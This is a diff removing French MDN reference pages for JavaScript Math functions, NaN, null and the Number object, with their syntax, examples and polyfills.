Math.sinh(x)
- -

Paramètres

- -
-
x
-
Un nombre.
-
- -

Valeur de retour

- -

Le sinus hyperbolique de la valeur passée en argument.

- -

Description

- -

sinh() est une méthode statique de Math, il faut utiliser la syntaxe Math.sinh(). Cette méthode ne doit pas être appelée depuis un autre objet qui aurait été créé (Math n'est pas un constructeur).

- -

Exemples

- -
Math.sinh(0) // 0
-Math.sinh(1) // 1.1752011936438014
- -

Prothèse d'émulation (polyfill)

- -

Si cette fonction n'est pas disponible, elle peut être émulée en utilisant la fonction {{jsxref("Math.exp()")}} :

- -
Math.sinh = Math.sinh || function(x){
-    return (Math.exp(x) - Math.exp(-x)) / 2;
-};
- -

ou encore, si on n'utilise qu'une fois {{jsxref("Math.exp()")}}, avec :

- -
Math.sinh = Math.sinh || function(x){
-    var y = Math.exp(x);
-    return (y - 1/y) / 2;
-};
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-math.sinh', 'Math.sinh')}}{{Spec2('ES2015')}}Définition initiale
{{SpecName('ESDraft', '#sec-math.sinh', 'Math.sinh')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Math.sinh")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Math.acosh()")}}
    • -
  • {{jsxref("Math.asinh()")}}
    • -
  • {{jsxref("Math.atanh()")}}
    • -
  • {{jsxref("Math.cosh()")}}
    • -
  • {{jsxref("Math.tanh()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/math/sqrt/index.html b/files/fr/web/javascript/reference/objets_globaux/math/sqrt/index.html deleted file mode 100644 index 1a95e53caa..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/math/sqrt/index.html +++ /dev/null @@ -1,97 +0,0 @@ ---- -title: Math.sqrt() -slug: Web/JavaScript/Reference/Objets_globaux/Math/sqrt -tags: - - JavaScript - - Math - - Méthode - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Math/sqrt ---- -
{{JSRef}}
- -

La fonction Math.sqrt() renvoie la racine carrée d'un nombre. Cette fonction est définie par :

- -

∀x≥0,Math.sqrt(x)=x=l'uniquey≥0tel quey2=x\forall x \geq 0, \mathtt{Math.sqrt(x)} = \sqrt{x} = \text{the unique} \; y \geq 0 \; \text{such that} \; y^2 = x

- -
{{EmbedInteractiveExample("pages/js/math-sqrt.html")}}
- - - -

Syntaxe

- -
Math.sqrt(x)
- -

Paramètres

- -
-
x
-
Un nombre.
-
- -

Valeur de retour

- -

La racine carrée du nombre passé en argument. Si le nombre fourni est négatif, c'est {{jsxref("NaN")}} qui sera renvoyé.

- -

Description

- -

Si la valeur de x est négative, sqrt renverra {{jsxref("NaN")}}.

- -

sqrt() est une méthode statique de Math, elle doit être utilisée avec la syntaxe Math.sqrt(), elle ne doit pas être appelée comme méthode d'un autre objet qui aurait été créé (Math n'est pas un constructeur).

- -

Exemples

- -
Math.sqrt(9);  // 3
-Math.sqrt(2);  // 1.414213562373095
-
-Math.sqrt(1);  // 1
-Math.sqrt(0);  // 0
-Math.sqrt(-1); // NaN
-Math.sqrt(-0); // -0
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.8.2.17', 'Math.sqrt')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-math.sqrt', 'Math.sqrt')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-math.sqrt', 'Math.sqrt')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Math.sqrt")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Math.cbrt()")}}
    • -
  • {{jsxref("Math.exp()")}}
    • -
  • {{jsxref("Math.log()")}}
    • -
  • {{jsxref("Math.pow()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/math/sqrt1_2/index.html b/files/fr/web/javascript/reference/objets_globaux/math/sqrt1_2/index.html deleted file mode 100644 index b845ac3389..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/math/sqrt1_2/index.html +++ /dev/null @@ -1,80 +0,0 @@ ---- -title: Math.SQRT1_2 -slug: Web/JavaScript/Reference/Objets_globaux/Math/SQRT1_2 -tags: - - JavaScript - - Math - - Propriété - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Math/SQRT1_2 ---- -
{{JSRef}}
- -

La propriété Math.SQRT1_2 représente la racine carrée d'1/2 et vaut environ 0.707 :

- -

Math.SQRT1_2=12=12≈0.707\mathtt{\mi{Math.SQRT1_2}} = \sqrt{\frac{1}{2}} = \frac{1}{\sqrt{2}} \approx 0.707

- -
{{EmbedInteractiveExample("pages/js/math-sqrt1_2.html")}}
- - - -
{{js_property_attributes(0,0,0)}}
- -

Description

- -

SQRT1_2 est une propriété statique de Math et doit toujours être utilisée avec la syntaxe Math.SQRT1_2. Elle ne doit pas être obtenue à partir d'un autre objet qui aurait été créé (Math n'est pas un constructeur).

- -

Exemples

- -

La fonction suivante renvoie la valeur de cette constante :

- -
function getRoot1_2() {
-   return Math.SQRT1_2;
-}
-
-getRoot1_2(); // 0.7071067811865476
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.8.1.7', 'Math.SQRT1_2')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-math.sqrt1_2', 'Math.SQRT1_2')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-math.sqrt1_2', 'Math.SQRT1_2')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Math.SQRT1_2")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Math.pow()")}}
    • -
  • {{jsxref("Math.sqrt()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/math/sqrt2/index.html b/files/fr/web/javascript/reference/objets_globaux/math/sqrt2/index.html deleted file mode 100644 index 7a02b16e2d..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/math/sqrt2/index.html +++ /dev/null @@ -1,80 +0,0 @@ ---- -title: Math.SQRT2 -slug: Web/JavaScript/Reference/Objets_globaux/Math/SQRT2 -tags: - - JavaScript - - Math - - Propriété - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Math/SQRT2 ---- -
{{JSRef}}
- -

La propriété Math.SQRT2 représente la racine carrée de 2 et vaut environ 1.414 :

- -

Math.SQRT2=2≈1.414\mathtt{\mi{Math.SQRT2}} = \sqrt{2} \approx 1.414

- -
{{EmbedInteractiveExample("pages/js/math-sqrt2.html")}}
- - - -
{{js_property_attributes(0,0,0)}}
- -

Description

- -

SQRT2 est une propriété statique de Math et doit toujours être utilisée avec la syntaxe Math.SQRT2, elle ne doit pas être appelée comme propriété d'un autre objet qui aurait été créé (Math n'est pas un constructeur).

- -

Exemples

- -

La fonction suivante renvoie la valeur de la racine carrée de 2 :

- -
function getRoot2() {
-   return Math.SQRT2;
-}
-
-getRoot2(); // 1.4142135623730951
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.8.1.8', 'Math.SQRT2')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-math.sqrt2', 'Math.SQRT2')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-math.sqrt2', 'Math.SQRT2')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Math.SQRT2")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Math.pow()")}}
    • -
  • {{jsxref("Math.sqrt()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/math/tan/index.html b/files/fr/web/javascript/reference/objets_globaux/math/tan/index.html deleted file mode 100644 index 948ea10a14..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/math/tan/index.html +++ /dev/null @@ -1,101 +0,0 @@ ---- -title: Math.tan() -slug: Web/JavaScript/Reference/Objets_globaux/Math/tan -tags: - - JavaScript - - Math - - Méthode - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Math/tan ---- -
{{JSRef}}
- -

La fonction Math.tan() renvoie la tangente d'un nombre exprimant un angle en radians.

- -
{{EmbedInteractiveExample("pages/js/math-tan.html")}}
- - - -

Syntaxe

- -
Math.tan(x)
- -

Paramètres

- -
-
x
-
Un nombre qui représente un angle en radians.
-
- -

Valeur de retour

- -

La tangente de l'angle fourni en argument (exprimé en radians).

- -

Description

- -

La méthode Math.tan() renvoie une valeur numérique qui représente la tangente d'un angle.

- -

tan() est une méthode statique de Math et doit toujours être utilisée avec la syntaxe Math.tan(), elle ne doit pas être utilisée comme méthode d'un autre objet qui aurait été créé (Math n'est pas un constructeur).

- -

Exemples

- -

Utiliser Math.tan()

- -
Math.tan(1); // 1.5574077246549023
- -

Math.tan() considère un argument exprimé en radians. Cependant, on peut vouloir travailler avec des valeurs en degrés. Pour cela, on pourra utiliser la fonction suivante qui calcule la tangente après avoir converti l'argument en radians :

- -
function getTanDeg(deg) {
-   var rad = deg * Math.PI/180;
-   return Math.tan(rad);
-}
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.8.2.18', 'Math.tan')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-math.tan', 'Math.tan')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-math.tan', 'Math.tan')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Math.tan")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Math.acos()")}}
    • -
  • {{jsxref("Math.asin()")}}
    • -
  • {{jsxref("Math.atan()")}}
    • -
  • {{jsxref("Math.atan2()")}}
    • -
  • {{jsxref("Math.cos()")}}
    • -
  • {{jsxref("Math.sin()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/math/tanh/index.html b/files/fr/web/javascript/reference/objets_globaux/math/tanh/index.html deleted file mode 100644 index 0567a5430c..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/math/tanh/index.html +++ /dev/null @@ -1,106 +0,0 @@ ---- -title: Math.tanh() -slug: Web/JavaScript/Reference/Objets_globaux/Math/tanh -tags: - - ECMAScript 2015 - - JavaScript - - Math - - Méthode - - Reference - - polyfill -translation_of: Web/JavaScript/Reference/Global_Objects/Math/tanh ---- -
{{JSRef}}
- -

La fonction Math.tanh() renvoie la tangente hyperbolique d'un nombre définie par :

- -

tanhx=sinhxcoshx=ex-e-xex+e-x=e2x-1e2x+1\tanh x = \frac{\sinh x}{\cosh x} = \frac {e^x - e^{-x}} {e^x + e^{-x}} = \frac{e^{2x} - 1}{e^{2x}+1}

- -
{{EmbedInteractiveExample("pages/js/math-tanh.html")}}
- -

Syntaxe

- -
Math.tanh(x)
- -

Paramètres

- -
-
x
-
Un nombre.
-
- -

Valeur de retour

- -

La tangente hyperbolique du nombre fourni en argument.

- -

Description

- -

tanh() est une méthode statique de l'objet Math, elle doit toujours être utilisée avec la syntaxe Math.tanh(), elle ne doit pas être utilisée comme une méthode d'un objet Math qui aurait été instancié (Math n'est pas une constructeur).

- -

Exemples

- -

Utiliser Math.tanh()

- -
Math.tanh(0);        // 0
-Math.tanh(Infinity); // 1
-Math.tanh(1);        // 0.7615941559557649
- -

Prothèse d'émulation (polyfill)

- -

Cette méthode peut être émulée grâce à la fonction {{jsxref("Objets_globaux/Math/exp", "Math.exp()")}} :

- -
Math.tanh = Math.tanh || function(x){
-  var a = Math.exp(+x), b = Math.exp(-x);
-  return a == Infinity ? 1 : b == Infinity ? -1 : (a - b) / (a + b);
-}
- -

et si on souhaite n'utiliser qu'un seul appel à {{jsxref("Objets_globaux/Math/exp", "Math.exp()")}} :

- -
Math.tanhx = Math.tanhx || function(x) {
-  if(x === Infinity) {
-    return 1;
-  } else if(x === -Infinity) {
-    return -1;
-  } else {
-    var y = Math.exp(2 * x);
-    return (y - 1) / (y + 1);
-  }
-};
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-math.tanh', 'Math.tanh')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-math.tanh', 'Math.tanh')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Math.tanh")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Math.acosh()")}}
    • -
  • {{jsxref("Math.asinh()")}}
    • -
  • {{jsxref("Math.atanh()")}}
    • -
  • {{jsxref("Math.cosh()")}}
    • -
  • {{jsxref("Math.sinh()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/math/trunc/index.html b/files/fr/web/javascript/reference/objets_globaux/math/trunc/index.html deleted file mode 100644 index beb1f33d0b..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/math/trunc/index.html +++ /dev/null @@ -1,97 +0,0 @@ ---- -title: Math.trunc() -slug: Web/JavaScript/Reference/Objets_globaux/Math/trunc -tags: - - ECMAScript 2015 - - JavaScript - - Math - - Méthode - - Reference - - polyfill -translation_of: Web/JavaScript/Reference/Global_Objects/Math/trunc ---- -
{{JSRef}}
- -

La fonction Math.trunc() retourne la troncature entière d'un nombre en retirant sa partie décimale.

- -

Math.trunc(x)={⌊x⌋six≥0⌈x⌉six<0\mathtt{\operatorname{Math.trunc}(x)} = \begin{cases} \left\lfloor x \right\rfloor & \text{if} & x \geq 0 \\ \left\lceil x \right\rceil & \text{if} &x < 0 \end{cases}

- -
{{EmbedInteractiveExample("pages/js/math-trunc.html")}}
- - - -

Syntaxe

- -
Math.trunc(x)
- -

Paramètres

- -
-
x
-
Un nombre.
-
- -

Valeur de retour

- -

La partie entière du nombre passé en argument.

- -

Description

- -

Contrairement aux autres méthodes {{jsxref("Math.floor()")}}, {{jsxref("Math.ceil()")}} et {{jsxref("Math.round()")}}, Math.trunc() fonctionne de façon très simple : la partie décimale du nombre est retirée et on conserve la partie entière (que le nombre soit positif ou négatif).
-
- Ainsi, si l'argument est un nombre positif, Math.trunc() sera équivalent à Math.floor(), sinon Math.trunc() sera équivalent à Math.ceil().

- -

On notera que l'argument passé à la méthode est converti en nombre de façon implicite.

- -

trunc() est une méthode statique de Math, elle doit toujours être utilisée avec la syntaxe Math.trunc(), elle ne doit pas être utilisée comme la méthode d'un objet qui aurait été instancié (Math n'est pas un constructeur).

- -

Exemples

- -

Utiliser Math.trunc()

- -
Math.trunc(13.37);   // 13
-Math.trunc(42.84);   // 42
-Math.trunc(0.123);   //  0
-Math.trunc(-0.123);  // -0
-Math.trunc("-1.123");// -1
-Math.trunc(NaN);     // NaN
-Math.trunc("toto");  // NaN
-Math.trunc();        // NaN
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaire
{{SpecName('ES2015', '#sec-math.trunc', 'Math.trunc')}}{{Spec2('ES2015')}}Première définition.
{{SpecName('ESDraft', '#sec-math.trunc', 'Math.trunc')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Math.trunc")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Math.abs()")}}
    • -
  • {{jsxref("Math.ceil()")}}
    • -
  • {{jsxref("Math.floor()")}}
    • -
  • {{jsxref("Math.round()")}}
    • -
  • {{jsxref("Math.sign()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/nan/index.html b/files/fr/web/javascript/reference/objets_globaux/nan/index.html deleted file mode 100644 index e8b97ac8ba..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/nan/index.html +++ /dev/null @@ -1,92 +0,0 @@ ---- -title: NaN -slug: Web/JavaScript/Reference/Objets_globaux/NaN -tags: - - JavaScript - - Propriété - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/NaN ---- -
{{jsSidebar("Objects")}}
- -

La propriété globale NaN est une valeur utilisée pour représenter une quantité qui n'est pas un nombre (Not a Number en anglais).

- -

{{js_property_attributes(0,0,0)}}

- -
{{EmbedInteractiveExample("pages/js/globalprops-nan.html")}}
- - - -

Syntaxe

- -
NaN
- -

Description

- -

NaN est une propriété de l'objet global, c'est-à-dire qu'elle est accessible globalement.

- -

La valeur initiale de NaN est Number.NaN. Dans les navigateurs modernes, NaN est une propriété non-configurable et non-écrivable. Si ce n'est pas le cas, il faut éviter de la modifier et de l'écraser.

- -

Il est rare d'utiliser expressément NaN dans un programme. On récupère généralement NaN comme le résultat d'une fonction mathématique qui échoue (Math.sqrt(-1)) où quand une fonction qui tente d'interpréter un nombre échoue (parseInt("blabla")).

- -

Tester NaN

- -

Les opérateurs d'égalité (== et ===) ne peuvent pas être utilisé pour tester une valeur par rapport à NaN. Il faut utiliser {{jsxref("Number.isNaN()")}} ou {{jsxref("isNaN", "isNaN()")}} à la place.

- -
NaN === NaN;        // false
-Number.NaN === NaN; // false
-isNaN(NaN);         // true
-isNaN(Number.NaN);  // true
-
- -

La différence entre isNaN() et Number.isNaN() est la façon dont les valeurs sont, ou non, converties en nombre avant de vérifier si la valeur est NaN : isNaN() convertira l'argument en nombre avant de vérifier alors que Number.isNaN() ne renverra true que si l'opérande vaut NaN.

- -
isNaN('coucou monde');        // renvoie true
-Number.isNaN('coucou monde'); // renvoie false
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.3
{{SpecName('ES5.1', '#sec-15.1.1.1', 'NaN')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-value-properties-of-the-global-object-nan', 'NaN')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-value-properties-of-the-global-object-nan', 'NaN')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.NaN")}}

- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/objets_globaux/null/index.html b/files/fr/web/javascript/reference/objets_globaux/null/index.html deleted file mode 100644 index bab3a87310..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/null/index.html +++ /dev/null @@ -1,91 +0,0 @@ ---- -title: 'null' -slug: Web/JavaScript/Reference/Objets_globaux/null -tags: - - JavaScript - - Littéral - - Primitive - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/null ---- -
{{jsSidebar("Objects")}}
- -

La valeur null est un littéral JavaScript représentant la nullité au sens où aucune valeur pour l'objet n'est présente. C'est une des valeurs primitives de JavaScript.

- -
{{EmbedInteractiveExample("pages/js/globalprops-null.html")}}
- - - -

Syntaxe

- -
null
- -

Description

- -

La valeur null est un littéral (et non pas une propriété de l'objet global telle que {{jsxref("undefined")}}). Dans certaines API, null est souvent utilisé en valeur de retour lorsqu'un objet est attendu mais qu'aucun objet ne convient. Lors de tests d'égalité avec null ou undefined, il faut faire attention aux différences entre les opérateurs d'égalité faible (==) et stricte (===) (on aura une conversion de type avec le premier).

- -
// toto n'existe pas, n'a pas été défini et n'a jamais été initialisé
-toto;
-"ReferenceError: toto is not defined"
-
-// toto existe mais n'a ni type ni valeur
-var toto = null;
-console.log(toto); // null
- -

Différence entre null et undefined

- -
typeof null;           // "object" (pas null pour des raisons historiques)
-typeof undefined;      // "undefined"
-null === undefined;    // false
-null  == undefined;    // true
-null === null;         // true
-null  == null;         // true
-!null;                 // true
-isNaN(1 + null);       // false
-isNaN(1 + undefined);  // true
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale.
{{SpecName('ES5.1', '#sec-4.3.11', 'null value')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-null-value', 'null value')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-null-value', 'null value')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.null")}}

- -

Voir aussi

- -
    -
  • {{jsxref("undefined")}}
    • -
  • {{jsxref("NaN")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/number/epsilon/index.html b/files/fr/web/javascript/reference/objets_globaux/number/epsilon/index.html deleted file mode 100644 index 75bab809e7..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/number/epsilon/index.html +++ /dev/null @@ -1,76 +0,0 @@ ---- -title: Number.EPSILON -slug: Web/JavaScript/Reference/Objets_globaux/Number/EPSILON -tags: - - ECMAScript 2015 - - JavaScript - - Number - - Propriété - - Reference - - polyfill -translation_of: Web/JavaScript/Reference/Global_Objects/Number/EPSILON ---- -
{{JSRef}}
- -

La propriété Number.EPSILON représente la différence entre le chiffre 1 (un) et la plus petite valeur supérieure à 1 qui peut être représentée par un nombre en JavaScript.

- -

Il n'est pas nécessaire de créer un objet {{jsxref("Number")}} pour accéder à cette propriété statique, elle est accessible avec Number.EPSILON.

- -
{{EmbedInteractiveExample("pages/js/number-epsilon.html")}}
- - - -
{{js_property_attributes(0,0,0)}}
- -

Description

- -

La propriété EPSILON vaut environ 2.2204460492503130808472633361816E-16 (ce qui correspond à 2-52).

- -

Exemple

- -

Tester une égalité mathématique avec un seuil de précision

- -
x = 0.2;
-y = 0.3;
-equal = (Math.abs(x - y) < Number.EPSILON);
- -

Prothèse d'émulation (polyfill)

- -
if (Number.EPSILON === undefined) {
-  Number.EPSILON  =  Math.pow(2, -52);
-}
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-number.epsilon', 'Number.EPSILON')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-number.epsilon', 'Number.EPSILON')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Number.EPSILON")}}

- -

Voir aussi

- -
    -
  • L'objet {{jsxref("Number")}} auquel appartient cette propriété.
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/number/index.html b/files/fr/web/javascript/reference/objets_globaux/number/index.html deleted file mode 100644 index c5894cb63a..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/number/index.html +++ /dev/null @@ -1,203 +0,0 @@ ---- -title: Number -slug: Web/JavaScript/Reference/Objets_globaux/Number -tags: - - JavaScript - - Number - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Number ---- -
{{JSRef}}
- -

L'objet Number est une enveloppe objet (wrapper) autour du type primitif numérique. Autrement dit, il est utilisé pour manipuler les nombres comme des objets. Pour créer un objet Number, on utilise le constructeur Number().

- -

Le type JavaScript Number utilise une représentation binaire à précision double sur 64 bits telle que décrite par le standard IEEE 754. Les implémentations plus récentes offrent un nouveau type : {{jsxref("BigInt")}} qui permet de représenter des entiers avec une précision arbitraire.

- -

Syntaxe

- -
new Number(valeur);
-var a = new Number('123'); // a === 123 donnera false
-var b = Number('123'); // b === 123 donnera true
-a instanceof Number; // donnera true
-b instanceof Number; // donnera false
- -

Paramètres

- -
-
valeur
-
La valeur numérique pour l'objet qu'on souhaite créer.
-
- -

Description

- -

L'objet Number est principalement utilisé dans les cas de figure suivants :

- -
    -
  • Si l'argument ne peut pas être converti en un nombre, il renverra {{jsxref("NaN")}}.
    • -
  • Dans un contexte de fonction simple (quand il n'est pas utilisé comme un constructeur avec l'opérateur {{jsxref("Opérateurs/L_opérateur_new", "new")}}), Number peut être utilisé afin d'effectuer des conversions.
    • -
- -

Propriétés

- -
-
{{jsxref("Number.EPSILON")}}
-
Le plus petit intervalle entre deux valeurs qu'il est possible de représenter en JavaScript.
-
{{jsxref("Number.MAX_SAFE_INTEGER")}}
-
La valeur entière maximale qu'on peut représenter en JavaScript (253 - 1).
-
{{jsxref("Number.MAX_VALUE")}}
-
La valeur numérique maximale qu'on peut représenter en JavaScript.
-
{{jsxref("Number.MIN_SAFE_INTEGER")}}
-
La valeur entière minimale qu'on peut représenter en JavaScript (-(253 - 1)).
-
{{jsxref("Number.MIN_VALUE")}}
-
La plus petite valeur qu'on peut représenter en JavaScript, c'est-à-dire le plus petit nombre positif (le nombre le plus près de zéro qui n'est pas égal à zéro et qu'on peut représenter en JavaScript).
-
{{jsxref("Number.NaN")}}
-
Une valeur spéciale pour représenter les valeurs non-numériques (NaN correspond à « not a number » en anglais, qui signifie « n'est pas un nombre »).
-
{{jsxref("Number.NEGATIVE_INFINITY")}}
-
Une valeur spéciale pour représenter l'infini négatif.
-
{{jsxref("Number.POSITIVE_INFINITY")}}
-
Une valeur spéciale pour représenter l'infini (positif).
-
{{jsxref("Number.prototype")}}
-
Cet objet permet d'ajouter des propriétés aux instances de Number.
-
- -

Méthodes

- -
-
{{jsxref("Number.isNaN()")}}
-
Cette méthode permet de déterminer si la valeur passée en argument vaut NaN.
-
{{jsxref("Number.isFinite()")}}
-
Cette méthode permet de déterminer si la valeur numérique passée en argument est un nombre fini.
-
{{jsxref("Number.isInteger()")}}
-
Cette méthode permet de déterminer si la valeur passée en argument est un entier.
-
{{jsxref("Number.isSafeInteger()")}}
-
Cette méthode permet de déterminer si la valeur passée en argument peut correctement être représentée comme un entier en JavaScript (savoir si elle est comprise entre -(253 - 1) et 253 - 1).
-
{{jsxref("Number.toInteger()")}} {{obsolete_inline}}
-
Cette méthode est utilisée afin d'évaluer et de convertir la valeur passée en argument en entier (ou en l'{{jsxref("Infinity", "infini","",1)}}). Cette méthode a été supprimée.
-
{{jsxref("Number.parseFloat()", "Number.parseFloat(string)")}}
-
Cette méthode correspond à la méthode {{jsxref("parseFloat", "parseFloat()")}} de l'objet global.
-
{{jsxref("Number.parseInt()", "Number.parseInt(string, [radix])")}}
-
Cette méthode correspond à la méthode {{jsxref("parseInt", "parseInt()")}} de l'objet global.
-
- -

Les instances de Number

- -

Toutes les instances de Number héritent de {{jsxref("Number.prototype")}}. Il est possible de modifier le prototype du constructeur Number pour affecter toutes les instances de Number.

- -

Méthodes

- -
-
-
{{jsxref("Number.prototype.toExponential()" ,"Number.prototype.toExponential(fractionDigits)")}}
-
Retourne une chaîne représentant le nombre en notation exponentielle.
-
{{jsxref("Number.prototype.toFixed()", "Number.prototype.toFixed(digits)")}}
-
Retourne une chaîne représentant le nombre avec la notation virgule fixe.
-
{{jsxref("Number.prototype.toLocaleString()", "Number.prototype.toLocaleString([locales [, options]])")}}
-
Retourne une chaîne avec une représentation sensible à la langue de ce nombre. Surcharge la méthode {{jsxref("Object.prototype.toLocaleString()")}}.
-
{{jsxref("Number.prototype.toPrecision()", "Number.prototype.toPrecision(precision)")}}
-
Retourne une chaîne représentant le nombre avec une précision donnée en notation virgule fixe ou exponentielle.
-
{{jsxref("Number.prototype.toString()", "Number.prototype.toString([radix])")}}
-
Retourne une chaîne représentant le nombre dans une base numérique (radix) donnée. Surcharge la méthode {{jsxref("Object.prototype.toString()")}}.
-
{{jsxref("Number.prototype.valueOf()")}}
-
Retourne la valeur primitive de l'objet spécifié. Surcharge la méthode {{jsxref("Object.prototype.valueOf()")}}.
-
-
- -

Exemples

- -

Utiliser l'objet Number pour affecter des valeurs numériques à des variables

- -

Dans l'exemple suivant, on utilise les propriétés de l'objet Number pour affecter des valeurs à des variables numériques :

- -
var plusGrandNombre = Number.MAX_VALUE;
-var plusPetitNombre = Number.MIN_VALUE;
-var infini = Number.POSITIVE_INFINITY;
-var infiniNégatif = Number.NEGATIVE_INFINITY;
-var nonNumérique = Number.NaN;
-
- -

Intervalle entier pour Number

- -

Dans l'exemple suivant, on illustre les valeurs numériques maximales et minimales (exclues) qu'on peut représenter avec un nombre en JavaScript (pour plus de détails, voir le chapitre 6.1.6 du standard ECMAScript) :

- -
var biggestInt = 9007199254740992; //Number.MAX_SAFE_INTEGER+1 (253-1)
-var smallestInt = -9007199254740992; //Number.MIN_SAFE_INTEGER-1 -(253-1)
-
- -

Lorsqu'on analyse et convertit des données JSON, les valeurs en dehors de cet intervalle peuvent entraîner des erreurs ou des corruptions de valeurs lors de leurs conversions. Selon les objets qu'on souhaite représenter, on peut utiliser {{jsxref("String")}} dans certains cas pour représenter certaines valeurs.

- -

Utiliser Number pour convertir un objet Date

- -

Dans l'exemple suivant, on convertit un objet {{jsxref("Date")}} en une valeur numérique grâce à la fonction Number :

- -
var d = new Date('December 17, 1995 03:24:00');
-console.log(Number(d));
-
- -

Ceci affichera "819167040000".

- -

Convertir une chaîne représentant une valeur numérique en un nombre

- -
Number("123");       // 123
-Number("12.3");      // 12.3
-Number("12.00");     // 12
-Number("123e-1");    // 12.3
-Number("");          // 0
-Number("0x11");      // 17
-Number("0b11");      // 3
-Number("0o11");      // 9
-Number("toto");      // NaN
-Number("100a");      // NaN
-Number("-Infinity";) // -Infinity
-
- -
-

Note  : On pourra également convertir null en 0 grâce à Number : Number(null) donnera 0.

-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
